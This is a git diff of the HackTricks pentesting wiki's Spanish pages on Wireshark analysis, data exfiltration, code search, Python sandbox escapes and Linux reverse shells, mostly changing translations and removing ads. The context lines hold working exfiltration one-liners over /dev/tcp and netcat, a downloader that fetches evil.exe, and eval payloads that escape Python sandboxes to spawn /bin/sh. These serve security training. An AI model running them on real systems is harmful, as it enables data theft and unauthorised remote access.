Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +Apoya a HackTricks -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
{% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**. - -Su objetivo principal de WhiteIntel es combatir la toma de control de cuentas y ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} - -*** ## Mejora tus habilidades en Wireshark @@ -50,7 +37,7 @@ Al hacer clic en _**Analizar** --> **Información Experta**_ tendrás una **visi **Direcciones Resueltas** -Bajo _**Estadísticas --> Direcciones Resueltas**_ puedes encontrar varias **informaciones** que fueron "**resueltas**" por Wireshark, como puerto/transporte a protocolo, MAC al fabricante, etc. Es interesante saber qué está implicado en la comunicación. +Bajo _**Estadísticas --> Direcciones Resueltas**_ puedes encontrar varias **informaciones** que fueron "**resueltas**" por Wireshark como puerto/transporte a protocolo, MAC al fabricante, etc. Es interesante saber qué está implicado en la comunicación. ![](<../../../.gitbook/assets/image (893).png>) @@ -98,27 +85,27 @@ Otros filtros interesantes: ### Búsqueda -Si deseas **buscar** **contenido** dentro de los **paquetes** de las sesiones, presiona _CTRL+f_. Puedes agregar nuevas capas a la barra de información principal (No., Hora, Origen, etc.) presionando el botón derecho y luego editando la columna. +Si deseas **buscar** **contenido** dentro de los **paquetes** de las sesiones presiona _CTRL+f_. Puedes agregar nuevas capas a la barra de información principal (No., Hora, Origen, etc.) presionando el botón derecho y luego editando la columna. ### Laboratorios pcap gratuitos **Practica con los desafíos gratuitos de:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net) -## Identificando Dominios +## Identificación de Dominios -Puedes agregar una columna que muestre el encabezado HTTP del Host: +Puedes agregar una columna que muestre el encabezado Host HTTP: ![](<../../../.gitbook/assets/image (639).png>) -Y una columna que agregue el nombre del Servidor de una conexión HTTPS iniciadora (**ssl.handshake.type == 1**): +Y una columna que agregue el nombre del servidor de una conexión HTTPS iniciadora (**ssl.handshake.type == 1**): ![](<../../../.gitbook/assets/image (408) (1).png>) -## Identificando nombres de host locales +## Identificación de nombres de host locales ### Desde DHCP -En la versión actual de Wireshark, en lugar de `bootp` necesitas buscar `DHCP` +En la versión actual de Wireshark en lugar de `bootp` necesitas buscar `DHCP` ![](<../../../.gitbook/assets/image (1013).png>) @@ -126,9 +113,9 @@ En la versión actual de Wireshark, en lugar de `bootp` necesitas buscar `DHCP` ![](<../../../.gitbook/assets/image (1003).png>) -## Desencriptando TLS +## Desencriptar TLS -### Desencriptando tráfico https con la clave privada del servidor +### Desencriptar tráfico https con la clave privada del servidor _edit>preferencia>protocolo>ssl>_ @@ -136,7 +123,7 @@ _edit>preferencia>protocolo>ssl>_ Presiona _Editar_ y agrega todos los datos del servidor y la clave privada (_IP, Puerto, Protocolo, Archivo de clave y contraseña_) -### Desencriptando tráfico https con claves de sesión simétricas +### Desencriptar tráfico https con claves de sesión simétricas Tanto Firefox como Chrome tienen la capacidad de registrar claves de sesión TLS, que se pueden usar con Wireshark para desencriptar tráfico TLS. Esto permite un análisis profundo de las comunicaciones seguras. Más detalles sobre cómo realizar esta desencriptación se pueden encontrar en una guía en [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/). @@ -146,7 +133,7 @@ Un archivo de claves compartidas se verá así: ![](<../../../.gitbook/assets/image (820).png>) -Para importar esto en Wireshark, ve a \_editar > preferencia > protocolo > ssl > e impórtalo en el nombre de archivo de registro de (Pre)-Master-Secret: +Para importar esto en Wireshark ve a \_editar > preferencia > protocolo > ssl > e impórtalo en (Pre)-Master-Secret log filename: ![](<../../../.gitbook/assets/image (989).png>) @@ -179,18 +166,6 @@ f = open('all_bytes.data', 'w+b') f.write(all_bytes) f.close() ``` -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware robador**. - -Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} - {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/generic-methodologies-and-resources/exfiltration.md b/generic-methodologies-and-resources/exfiltration.md index 91e8a64e1..7923dba82 100644 --- a/generic-methodologies-and-resources/exfiltration.md +++ b/generic-methodologies-and-resources/exfiltration.md @@ -1,33 +1,25 @@ # Exfiltración {% hint style="success" %} -Aprende y practica Hacking en AWS: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoya a HackTricks +Support HackTricks -* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -**Grupo de Seguridad Try Hard** +## Dominios comúnmente en la lista blanca para exfiltrar información -
+Check [https://lots-project.com/](https://lots-project.com/) to find commonly whitelisted domains that can be abused -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - -## Dominios comúnmente permitidos para exfiltrar información - -Consulta [https://lots-project.com/](https://lots-project.com/) para encontrar dominios comúnmente permitidos que pueden ser abusados - -## Copiar y Pegar Base64 +## Copiar\&Pegar Base64 **Linux** ```bash @@ -66,7 +58,7 @@ Start-BitsTransfer -Source $url -Destination $output -Asynchronous ### Subir archivos * [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170) -* [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) +* [**SimpleHttpServer imprimiendo GET y POSTs (también encabezados)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) * Módulo de Python [uploadserver](https://pypi.org/project/uploadserver/): ```bash # Listen to files @@ -151,7 +143,7 @@ mkdir -p /ftphome chown -R ftpuser:ftpgroup /ftphome/ /etc/init.d/pure-ftpd restart ``` -### Cliente de **Windows** +### **Cliente** de Windows ```bash #Work well with python. With pure-ftp use fusr:ftp echo open 10.11.0.41 21 > ftp.txt @@ -171,7 +163,7 @@ kali_op2> smbserver.py -smb2support name /path/folder # Share a folder #For new Win10 versions impacket-smbserver -smb2support -user test -password test test `pwd` ``` -O crear un recurso compartido smb **utilizando samba**: +O crea un recurso compartido smb **usando samba**: ```bash apt-get install samba mkdir /tmp/smb @@ -186,37 +178,7 @@ guest ok = Yes #Start samba service smbd restart ``` -# Exfiltration - -## Introduction - -Exfiltration is the unauthorized transfer of data from a computer. Attackers exfiltrate data to maintain access, sell it on the black market, or use it for other malicious purposes. Exfiltration techniques can vary depending on the target environment and the goals of the attacker. - -## Windows Exfiltration Techniques - -### Common Techniques - -- **Web-Based Exfiltration**: Attackers can use web applications to exfiltrate data by uploading it to external servers or sending it via web requests. - -- **DNS Exfiltration**: Attackers can encode data within DNS requests to exfiltrate information from a compromised system. - -- **Email Exfiltration**: Attackers can send sensitive data as email attachments or in the body of emails to external email accounts. - -- **Exfiltration Over C2 Channels**: Attackers can exfiltrate data over command-and-control (C2) channels established with malware on the compromised system. - -### Advanced Techniques - -- **Steganography**: Attackers can hide data within images, audio files, or other types of files to exfiltrate information without detection. - -- **Data Compression**: Attackers can compress data before exfiltrating it to reduce the size of the transferred files and avoid detection. - -- **Data Encryption**: Attackers can encrypt exfiltrated data to prevent detection by security controls. - -- **Fileless Exfiltration**: Attackers can exfiltrate data without writing it to disk, making detection more challenging for security tools. - -## Detection and Prevention - -Detecting exfiltration attempts can be challenging due to the variety of techniques available to attackers. Organizations can implement network monitoring, endpoint security solutions, and user awareness training to help detect and prevent data exfiltration. +Windows ```bash CMD-Wind> \\10.10.14.14\path\to\exe CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials @@ -239,17 +201,13 @@ sudo mkdir /mnt/sshfs sudo sshfs -o allow_other,default_permissions @:/ /mnt/sshfs/ ``` ## NC - -### Netcat - -Netcat is a versatile networking utility that can be used for reading from and writing to network connections using TCP or UDP. It can be used to transfer files, port scanning, banner grabbing, and as a backdoor. Netcat can be used to exfiltrate data by connecting to a remote server and sending the data over the network. ```bash nc -lvnp 4444 > new_file nc -vn 4444 < exfil_file ``` ## /dev/tcp -### Descargar archivo desde la víctima +### Descargar archivo de la víctima ```bash nc -lvnp 80 > file #Inside attacker cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim @@ -261,7 +219,7 @@ nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker exec 6< /dev/tcp/10.10.10.10/4444 cat <&6 > file.txt ``` -Gracias a **@BinaryShadow\_** +gracias a **@BinaryShadow\_** ## **ICMP** ```bash @@ -283,15 +241,15 @@ sniff(iface="tun0", prn=process_packet) ``` ## **SMTP** -Si puedes enviar datos a un servidor SMTP, puedes crear un servidor SMTP para recibir los datos con Python: +Si puedes enviar datos a un servidor SMTP, puedes crear un SMTP para recibir los datos con python: ```bash sudo python -m smtpd -n -c DebuggingServer :25 ``` ## TFTP -Por defecto en XP y 2003 (en otros sistemas operativos necesita ser agregado explícitamente durante la instalación) +Por defecto en XP y 2003 (en otros debe ser agregado explícitamente durante la instalación) -En Kali, **iniciar el servidor TFTP**: +En Kali, **iniciar servidor TFTP**: ```bash #I didn't get this options working and I prefer the python option mkdir /tftp @@ -303,21 +261,17 @@ cp /path/tp/nc.exe /tftp pip install ptftpd ptftpd -p 69 tap0 . # ptftp -p ``` -En **víctima**, conectarse al servidor Kali: +En **victim**, conéctate al servidor Kali: ```bash tftp -i get nc.exe ``` ## PHP -Descarga un archivo con un PHP oneliner: +Descargar un archivo con un oneliner de PHP: ```bash echo "" > down2.php ``` ## VBScript - -### Visual Basic Scripting Edition (VBScript) - -VBScript is a lightweight scripting language developed by Microsoft that is modeled on Visual Basic. It is commonly used for client-side scripting in web development and can also be used for server-side scripting through Windows Script Host (WSH). VBScript is often executed within HTML documents to perform tasks such as form validation or interacting with the user. ```bash Attacker> python -m SimpleHTTPServer 80 ``` @@ -355,14 +309,13 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe ``` ## Debug.exe -El programa `debug.exe` no solo permite la inspección de binarios, sino que también tiene la **capacidad de reconstruirlos a partir de hexadecimal**. Esto significa que al proporcionar un hexadecimal de un binario, `debug.exe` puede generar el archivo binario. Sin embargo, es importante tener en cuenta que debug.exe tiene una **limitación de ensamblaje de archivos de hasta 64 kb de tamaño**. +El programa `debug.exe` no solo permite la inspección de binarios, sino que también tiene la **capacidad de reconstruirlos a partir de hex**. Esto significa que al proporcionar un hex de un binario, `debug.exe` puede generar el archivo binario. Sin embargo, es importante tener en cuenta que debug.exe tiene una **limitación de ensamblar archivos de hasta 64 kb de tamaño**. ```bash # Reduce the size upx -9 nc.exe wine exe2bat.exe nc.exe nc.txt ``` -```markdown -Luego copia y pega el texto en la ventana de comandos de Windows y se creará un archivo llamado nc.exe. +Luego, copia y pega el texto en la ventana de comandos de Windows y se creará un archivo llamado nc.exe. * [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html) @@ -370,24 +323,17 @@ Luego copia y pega el texto en la ventana de comandos de Windows y se creará un * [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} -Aprende y practica Hacking en AWS: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Apoya a HackTricks -* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
{% endhint %} -``` diff --git a/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md b/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md index ad018b4bc..e3de7aa27 100644 --- a/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md +++ b/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md @@ -8,41 +8,27 @@ Aprende y practica Hacking en GCP: Apoya a HackTricks -* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github. {% endhint %} -**Grupo de Seguridad Try Hard** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - -El objetivo de esta página es enumerar **plataformas que permiten buscar código** (literal o regex) en miles/millones de repositorios en una o más plataformas. +El objetivo de esta página es enumerar **plataformas que permiten buscar código** (literal o regex) en miles/millones de repos en una o más plataformas. Esto ayuda en varias ocasiones a **buscar información filtrada** o patrones de **vulnerabilidades**. -* [**SourceGraph**](https://sourcegraph.com/search): Busca en millones de repositorios. Hay una versión gratuita y una versión empresarial (con 15 días gratis). Admite regexes. -* [**Búsqueda en Github**](https://github.com/search): Busca en todo Github. Admite regexes. -* Tal vez también sea útil revisar [**Búsqueda de Código en Github**](https://cs.github.com/). -* [**Búsqueda Avanzada en Gitlab**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Busca en proyectos de Gitlab. Admite regexes. +* [**SourceGraph**](https://sourcegraph.com/search): Busca en millones de repos. Hay una versión gratuita y una versión empresarial (con 15 días gratis). Soporta regex. +* [**Github Search**](https://github.com/search): Busca en Github. Soporta regex. +* Tal vez también sea útil revisar [**Github Code Search**](https://cs.github.com/). +* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Busca en proyectos de Gitlab. Soporta regex. * [**SearchCode**](https://searchcode.com/): Busca código en millones de proyectos. {% hint style="warning" %} -Cuando busques filtraciones en un repositorio y ejecutes algo como `git log -p`, ¡no olvides que podría haber **otras ramas con otros commits** que contengan secretos! +Cuando busques filtraciones en un repo y ejecutes algo como `git log -p`, ¡no olvides que puede haber **otras ramas con otros commits** que contengan secretos! {% endhint %} -**Grupo de Seguridad Try Hard** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) @@ -51,9 +37,9 @@ Aprende y practica Hacking en GCP: Apoya a HackTricks -* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github. {% endhint %} diff --git a/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md b/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md index fc9dbdc8a..92b6407f1 100644 --- a/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md +++ b/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md @@ -15,19 +15,11 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - Estos son algunos trucos para eludir las protecciones de sandbox de Python y ejecutar comandos arbitrarios. ## Bibliotecas de Ejecución de Comandos -Lo primero que necesitas saber es si puedes ejecutar código directamente con alguna biblioteca ya importada, o si podrías importar alguna de estas bibliotecas: +Lo primero que necesitas saber es si puedes ejecutar código directamente con alguna biblioteca ya importada, o si podrías importar cualquiera de estas bibliotecas: ```python os.system("ls") os.popen("ls").read() @@ -105,7 +97,7 @@ Puedes descargar el paquete para crear el reverse shell aquí. Por favor, ten en {% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %} {% hint style="info" %} -Este paquete se llama `Reverse`. Sin embargo, fue diseñado especialmente para que cuando salgas del reverse shell, el resto de la instalación falle, así que **no dejarás ningún paquete de python extra instalado en el servidor** cuando te vayas. +Este paquete se llama `Reverse`. Sin embargo, fue diseñado especialmente para que cuando salgas del reverse shell el resto de la instalación falle, así que **no dejarás ningún paquete de python extra instalado en el servidor** cuando te vayas. {% endhint %} ## Eval-ing python code @@ -114,7 +106,7 @@ Este paquete se llama `Reverse`. Sin embargo, fue diseñado especialmente para q Ten en cuenta que exec permite cadenas de varias líneas y ";", pero eval no (ver operador walrus) {% endhint %} -Si ciertos caracteres están prohibidos, puedes usar la **representación hex/octal/B64** para **bypassear** la restricción: +Si ciertos caracteres están prohibidos, puedes usar la representación **hex/octal/B64** para **bypassear** la restricción: ```python exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" @@ -158,7 +150,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval'] [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})] ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";" ``` -## Bypassing protections through encodings (UTF-7) +## Bypass de protecciones a través de codificaciones (UTF-7) En [**este informe**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) se utiliza UFT-7 para cargar y ejecutar código python arbitrario dentro de una aparente sandbox: ```python @@ -338,7 +330,7 @@ __builtins__.__dict__['__import__']("os").system("ls") ### No Builtins Cuando no tienes `__builtins__` no podrás importar nada ni siquiera leer o escribir archivos ya que **todas las funciones globales** (como `open`, `import`, `print`...) **no están cargadas**.\ -Sin embargo, **por defecto, python importa muchos módulos en memoria**. Estos módulos pueden parecer benignos, pero algunos de ellos **también importan funcionalidades peligrosas** dentro de ellos que pueden ser accedidas para obtener incluso **ejecución arbitraria de código**. +Sin embargo, **por defecto, python importa muchos módulos en memoria**. Estos módulos pueden parecer benignos, pero algunos de ellos **también importan funcionalidades peligrosas** dentro de ellos que pueden ser accedidas para obtener incluso **ejecución de código arbitrario**. En los siguientes ejemplos puedes observar cómo **abusar** de algunos de estos módulos "**benignos**" cargados para **acceder** a **funcionalidades** **peligrosas** dentro de ellos. @@ -881,7 +873,7 @@ dis.dis(get_flag) 44 LOAD_CONST 0 (None) 47 RETURN_VALUE ``` -Nota que **si no puedes importar `dis` en la sandbox de python** puedes obtener el **bytecode** de la función (`get_flag.func_code.co_code`) y **desensamblarlo** localmente. No verás el contenido de las variables que se están cargando (`LOAD_CONST`), pero puedes inferirlas de (`get_flag.func_code.co_consts`) porque `LOAD_CONST` también indica el desplazamiento de la variable que se está cargando. +Nota que **si no puedes importar `dis` en el sandbox de python** puedes obtener el **bytecode** de la función (`get_flag.func_code.co_code`) y **desensamblarlo** localmente. No verás el contenido de las variables que se están cargando (`LOAD_CONST`), pero puedes inferirlas de (`get_flag.func_code.co_consts`) porque `LOAD_CONST` también indica el desplazamiento de la variable que se está cargando. ```python dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') 0 LOAD_CONST 1 (1) @@ -966,7 +958,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode") ``` ### Bypass Defenses -En ejemplos anteriores al principio de esta publicación, puedes ver **cómo ejecutar cualquier código python usando la función `compile`**. Esto es interesante porque puedes **ejecutar scripts completos** con bucles y todo en una **línea** (y podríamos hacer lo mismo usando **`exec`**).\ +En los ejemplos anteriores al principio de esta publicación, puedes ver **cómo ejecutar cualquier código python usando la función `compile`**. Esto es interesante porque puedes **ejecutar scripts completos** con bucles y todo en una **línea** (y podríamos hacer lo mismo usando **`exec`**).\ De todos modos, a veces podría ser útil **crear** un **objeto compilado** en una máquina local y ejecutarlo en la **máquina CTF** (por ejemplo, porque no tenemos la función `compiled` en el CTF). Por ejemplo, compilamos y ejecutamos manualmente una función que lee _./poc.py_: @@ -1018,7 +1010,7 @@ Usando herramientas como [**https://www.decompiler.com/**](https://www.decompile ### Assert -Python ejecutado con optimizaciones con el parámetro `-O` eliminará las declaraciones de aserción y cualquier código condicional al valor de **debug**.\ +Python ejecutado con optimizaciones con el parámetro `-O` eliminará las declaraciones de aserción y cualquier código condicional en el valor de **debug**.\ Por lo tanto, verificaciones como ```python def check_permission(super_user): @@ -1039,23 +1031,18 @@ will be bypassed * [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html) * [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +Apoya a HackTricks -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
{% endhint %} diff --git a/generic-methodologies-and-resources/reverse-shells/linux.md b/generic-methodologies-and-resources/reverse-shells/linux.md index 64cba1198..57bd04512 100644 --- a/generic-methodologies-and-resources/reverse-shells/linux.md +++ b/generic-methodologies-and-resources/reverse-shells/linux.md @@ -1,12 +1,12 @@ # Shells - Linux {% hint style="success" %} -Aprende y practica AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprende y practica GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +Apoya a HackTricks * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** @@ -15,14 +15,6 @@ Aprende y practica GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - **Si tienes preguntas sobre alguna de estas shells, puedes consultarlas en** [**https://explainshell.com/**](https://explainshell.com) ## Full TTY @@ -340,12 +332,6 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new * [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) -**Try Hard Security Group** - -
